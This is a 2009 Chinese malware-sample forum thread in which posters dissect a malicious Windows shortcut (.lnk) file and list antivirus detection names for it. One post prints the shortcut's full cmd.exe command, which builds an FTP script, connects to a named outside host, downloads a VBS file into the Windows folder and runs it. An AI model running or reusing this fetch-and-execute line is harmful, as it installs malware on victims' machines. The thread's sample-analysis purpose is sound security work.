lnk malware（新手法）

显示全部楼层 · 发表于 2009-2-1 12:33:27

解开后直接是个txt型lnk，目的不让你找到ftp

显示全部楼层 · 发表于 2009-2-1 12:35:59

The file 'C:\Documents and Settings\Administrator\My Documents\??.rar'
contained a virus or unwanted program 'TR/Dldr.PIF.JJ' [trojan]

显示全部楼层 · 发表于 2009-2-1 12:38:23

killed

显示全部楼层 · 发表于 2009-2-1 12:44:34

修正
连不上

[ 本帖最后由 Elcondorposa 于 2009-2-1 12:50 编辑 ]

显示全部楼层 · 发表于 2009-2-1 12:45:55

这个ftp连不上去

显示全部楼层 · 发表于 2009-2-1 12:46:33

建议不要公布此ftp

显示全部楼层 · 发表于 2009-2-1 12:46:47

AntiVir 7.9.0.70 7.1.1.208 2009-01-30 TR/Dldr.PIF.JJ
F-Secure 5.51.6100 2009.01.31.01 2009-01-31 Trojan-Downloader.Win32.Pif.jj [AVP]
Sophos 2.83.3 4.38 2009-02-01 Mal/DownLnk-A
卡巴斯基 5.5.10 2009.02.01 2009-02-01 Trojan-Downloader.Win32.Pif.jj
迈克菲 5.3.00 5512 2009-01-31 Generic Downloader.cw

显示全部楼层 · 发表于 2009-2-1 12:54:35

%windir%\system32\cmd.exe /c echo open ag57.vicp.net>>e.p&echo 123>>e.p&echo 123>>e.p&echo get youqian %windir%\youqian.vbs>>e.p&echo bye>>e.p&ftp -s:e.p&del e.p&start %windir%\youqian.vbs&　　

显示全部楼层 · 发表于 2009-2-1 12:54:42

avast miss ,to avast

显示全部楼层 · 发表于 2009-2-1 13:18:28

右键用记事本打开。。。
一样得到啊

[病毒样本] lnk malware（新手法）

本帖子中包含更多资源

本帖子中包含更多资源

回复 4楼 Elcondorposa 的帖子

回复 4楼 Elcondorposa 的帖子

本帖子中包含更多资源